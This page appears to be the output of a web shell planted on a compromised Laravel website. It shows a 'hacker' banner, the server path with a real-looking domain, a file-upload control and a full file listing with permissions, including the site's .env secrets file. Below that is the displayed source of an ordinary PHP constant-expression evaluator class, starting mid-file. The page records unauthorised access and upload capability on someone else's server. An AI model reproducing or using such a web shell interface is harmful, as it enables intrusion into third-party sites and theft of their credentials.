I am a hacker in the dark of a very cold night
path :/var/www/html/vorne.webheaydemo.com
upload file:
List of files:
| name file |
size |
edit |
permission |
action |
| .editorconfig | 276 KB | March 05 2024 07:12:34 | 0666 |
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| .env | 1385 KB | May 24 2024 16:43:55 | 0666 |
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| .env.example | 1088 KB | March 05 2024 07:12:34 | 0666 |
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| .gitattributes | 190 KB | March 05 2024 07:12:34 | 0666 |
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| .gitignore | 245 KB | March 05 2024 07:12:34 | 0666 |
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| .htaccess | 947 KB | July 04 2023 21:25:08 | 0664 |
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| .rnd | 1024 KB | March 13 2024 04:51:14 | 0666 |
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| README.md | 472 KB | March 22 2024 10:35:00 | 0666 |
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| app | - | March 05 2024 07:12:34 | 0777 |
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| artisan | 1739 KB | March 05 2024 07:12:34 | 0666 |
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| bootstrap | - | March 05 2024 07:12:34 | 0777 |
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| composer.json | 2829 KB | May 13 2024 12:10:04 | 0666 |
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| composer.lock | 417205 KB | March 19 2024 12:13:14 | 0666 |
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| config | - | July 03 2025 02:53:36 | 0777 |
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| database | - | March 05 2024 07:12:34 | 0777 |
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| index.php | 1816 KB | May 13 2024 10:32:36 | 0666 |
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| lang | - | May 13 2024 14:53:26 | 0777 |
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| manifest.json | 913 KB | May 14 2024 03:57:26 | 0664 |
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| package.json | 398 KB | March 05 2024 07:12:34 | 0666 |
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| phpunit.xml | 1206 KB | March 05 2024 07:12:34 | 0666 |
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| public | - | July 03 2025 02:37:20 | 0777 |
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| resources | - | May 13 2024 12:09:36 | 0777 |
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| routes | - | March 05 2024 07:12:34 | 0777 |
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| service-worker.js | 924 KB | March 05 2024 07:12:34 | 0666 |
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| storage | - | March 05 2024 10:03:52 | 0777 |
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| symlink.php | 218 KB | March 05 2024 07:12:34 | 0666 |
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| tests | - | March 05 2024 07:12:34 | 0777 |
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| vendor | - | March 19 2024 12:13:14 | 0777 |
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| vite.config.js | 326 KB | March 05 2024 07:12:34 | 0666 |
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fallbackEvaluator = $fallbackEvaluator ?? function (Expr $expr) {
throw new ConstExprEvaluationException(
"Expression of type {$expr->getType()} cannot be evaluated"
);
};
}
/**
* Silently evaluates a constant expression into a PHP value.
*
* Thrown Errors, warnings or notices will be converted into a ConstExprEvaluationException.
* The original source of the exception is available through getPrevious().
*
* If some part of the expression cannot be evaluated, the fallback evaluator passed to the
* constructor will be invoked. By default, if no fallback is provided, an exception of type
* ConstExprEvaluationException is thrown.
*
* See class doc comment for caveats and limitations.
*
* @param Expr $expr Constant expression to evaluate
* @return mixed Result of evaluation
*
* @throws ConstExprEvaluationException if the expression cannot be evaluated or an error occurred
*/
public function evaluateSilently(Expr $expr) {
set_error_handler(function ($num, $str, $file, $line) {
throw new \ErrorException($str, 0, $num, $file, $line);
});
try {
return $this->evaluate($expr);
} catch (\Throwable $e) {
if (!$e instanceof ConstExprEvaluationException) {
$e = new ConstExprEvaluationException(
"An error occurred during constant expression evaluation", 0, $e);
}
throw $e;
} finally {
restore_error_handler();
}
}
/**
* Directly evaluates a constant expression into a PHP value.
*
* May generate Error exceptions, warnings or notices. Use evaluateSilently() to convert these
* into a ConstExprEvaluationException.
*
* If some part of the expression cannot be evaluated, the fallback evaluator passed to the
* constructor will be invoked. By default, if no fallback is provided, an exception of type
* ConstExprEvaluationException is thrown.
*
* See class doc comment for caveats and limitations.
*
* @param Expr $expr Constant expression to evaluate
* @return mixed Result of evaluation
*
* @throws ConstExprEvaluationException if the expression cannot be evaluated
*/
public function evaluateDirectly(Expr $expr) {
return $this->evaluate($expr);
}
/** @return mixed */
private function evaluate(Expr $expr) {
if ($expr instanceof Scalar\Int_
|| $expr instanceof Scalar\Float_
|| $expr instanceof Scalar\String_
) {
return $expr->value;
}
if ($expr instanceof Expr\Array_) {
return $this->evaluateArray($expr);
}
// Unary operators
if ($expr instanceof Expr\UnaryPlus) {
return +$this->evaluate($expr->expr);
}
if ($expr instanceof Expr\UnaryMinus) {
return -$this->evaluate($expr->expr);
}
if ($expr instanceof Expr\BooleanNot) {
return !$this->evaluate($expr->expr);
}
if ($expr instanceof Expr\BitwiseNot) {
return ~$this->evaluate($expr->expr);
}
if ($expr instanceof Expr\BinaryOp) {
return $this->evaluateBinaryOp($expr);
}
if ($expr instanceof Expr\Ternary) {
return $this->evaluateTernary($expr);
}
if ($expr instanceof Expr\ArrayDimFetch && null !== $expr->dim) {
return $this->evaluate($expr->var)[$this->evaluate($expr->dim)];
}
if ($expr instanceof Expr\ConstFetch) {
return $this->evaluateConstFetch($expr);
}
return ($this->fallbackEvaluator)($expr);
}
private function evaluateArray(Expr\Array_ $expr): array {
$array = [];
foreach ($expr->items as $item) {
if (null !== $item->key) {
$array[$this->evaluate($item->key)] = $this->evaluate($item->value);
} elseif ($item->unpack) {
$array = array_merge($array, $this->evaluate($item->value));
} else {
$array[] = $this->evaluate($item->value);
}
}
return $array;
}
/** @return mixed */
private function evaluateTernary(Expr\Ternary $expr) {
if (null === $expr->if) {
return $this->evaluate($expr->cond) ?: $this->evaluate($expr->else);
}
return $this->evaluate($expr->cond)
? $this->evaluate($expr->if)
: $this->evaluate($expr->else);
}
/** @return mixed */
private function evaluateBinaryOp(Expr\BinaryOp $expr) {
if ($expr instanceof Expr\BinaryOp\Coalesce
&& $expr->left instanceof Expr\ArrayDimFetch
) {
// This needs to be special cased to respect BP_VAR_IS fetch semantics
return $this->evaluate($expr->left->var)[$this->evaluate($expr->left->dim)]
?? $this->evaluate($expr->right);
}
// The evaluate() calls are repeated in each branch, because some of the operators are
// short-circuiting and evaluating the RHS in advance may be illegal in that case
$l = $expr->left;
$r = $expr->right;
switch ($expr->getOperatorSigil()) {
case '&': return $this->evaluate($l) & $this->evaluate($r);
case '|': return $this->evaluate($l) | $this->evaluate($r);
case '^': return $this->evaluate($l) ^ $this->evaluate($r);
case '&&': return $this->evaluate($l) && $this->evaluate($r);
case '||': return $this->evaluate($l) || $this->evaluate($r);
case '??': return $this->evaluate($l) ?? $this->evaluate($r);
case '.': return $this->evaluate($l) . $this->evaluate($r);
case '/': return $this->evaluate($l) / $this->evaluate($r);
case '==': return $this->evaluate($l) == $this->evaluate($r);
case '>': return $this->evaluate($l) > $this->evaluate($r);
case '>=': return $this->evaluate($l) >= $this->evaluate($r);
case '===': return $this->evaluate($l) === $this->evaluate($r);
case 'and': return $this->evaluate($l) and $this->evaluate($r);
case 'or': return $this->evaluate($l) or $this->evaluate($r);
case 'xor': return $this->evaluate($l) xor $this->evaluate($r);
case '-': return $this->evaluate($l) - $this->evaluate($r);
case '%': return $this->evaluate($l) % $this->evaluate($r);
case '*': return $this->evaluate($l) * $this->evaluate($r);
case '!=': return $this->evaluate($l) != $this->evaluate($r);
case '!==': return $this->evaluate($l) !== $this->evaluate($r);
case '+': return $this->evaluate($l) + $this->evaluate($r);
case '**': return $this->evaluate($l) ** $this->evaluate($r);
case '<<': return $this->evaluate($l) << $this->evaluate($r);
case '>>': return $this->evaluate($l) >> $this->evaluate($r);
case '<': return $this->evaluate($l) < $this->evaluate($r);
case '<=': return $this->evaluate($l) <= $this->evaluate($r);
case '<=>': return $this->evaluate($l) <=> $this->evaluate($r);
}
throw new \Exception('Should not happen');
}
/** @return mixed */
private function evaluateConstFetch(Expr\ConstFetch $expr) {
$name = $expr->name->toLowerString();
switch ($name) {
case 'null': return null;
case 'false': return false;
case 'true': return true;
}
return ($this->fallbackEvaluator)($expr);
}
}